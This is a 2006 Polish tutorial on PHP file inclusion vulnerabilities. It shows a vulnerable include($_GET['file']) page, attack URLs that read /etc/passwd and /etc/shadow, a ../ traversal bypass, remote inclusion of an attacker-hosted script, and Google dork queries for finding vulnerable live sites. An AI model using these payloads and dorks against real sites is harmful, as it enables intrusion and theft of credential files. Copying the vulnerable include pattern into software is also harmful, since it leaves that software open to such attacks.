PHP injection

    -- Sebastian Pawlak, 2006.


Wiele stron stworzonych w PHP wykorzystuje przekazywanie parametrów postaci: http://adres/index.php?parametr1=wartosc1&parametr2=wartosc2. Problem pojawia się wtedy, kiedy twórca takiej strony przez parametr przekazuje odniesienie do jakiegoś pliku na swoim serwerze, który to plik jest dołączany do zawartości poprzez funkcję include(). Można wtedy spreparować odniesienie do pliku przekazywane jako parametr w ten sposób, aby wskazywało na plik zdalny bądź inny, niż zamierzone przez autora strony, plik na serwerze lokalnym.
Przykładowo, autor strony zrealizował ją w mniej więcej taki sposób:


 <HTML>
 <TITLE>Moja strona</TITLE>
 <BODY>
  <A href="index.php?file=witaj.php">Witaj na mojej stronie</A>
  <A href="index.php?file=oautorze.php">O autorze</A>
  <?PHP
   if (!isset($_GET["file"]))
       include("witaj.php");
   else
       include($_GET["file"]);
  ?>
 </BODY>
</HTML>

Możemy spróbować wyświetlić jakiś inny, niż zamierzone przez autora strony, plik: http://adres_strony/index.php?file=/etc/passwd. Jeśli serwer działa z prawami roota, można spróbować wyświetlić plik /etc/shadow. Niektórzy autorzy, podatnych na opisane ataki, stron tworzą zabezpieczenie poprzez usunięcie pierwszego slasha (jeśli występuje on) z łańcucha znaków przekazywanego jako parametr (jeśli przekażemy /etc/passwd, to skrypt przekształca ten napis na: etc/passwd). W ten sposób autorzy próbują zabezpieczyć się przed możliwością dostępu do pliku spoza lokalnego katalogu. W takim przypadku można spróbować użyć konstrukcji: ../../../../../../../../etc/passwd.
Można także wykonać dowolny skrypt PHP na serwerze ofiary. W tym celu na dostępnym dla nas koncie wystawiamy plik ze skryptem (plik nie może mieć rozszerzenia .php, aby nie wykonał się przed pobraniem). Następnie wywołujemy stronę ofiary: http://adres_strony/index.php?file=http://adres_strony_ze_skryptem/skrypt. Autor strony nie powinien korzystać z PHP z włączoną opcją safe mode.

Jak znaleźć strony podatne na opisane powyżej techniki ataku?
Z pomocą przychodzi nam Google. Mi udało się odnaleźć kilka podatnych stron poprzez zapytania:
allinurl: index.php?file=
allinurl: index.php?url=
allinurl: index.php3?file=
allinurl: index.php3?url=

w3cw3c
automatyka przemysłowa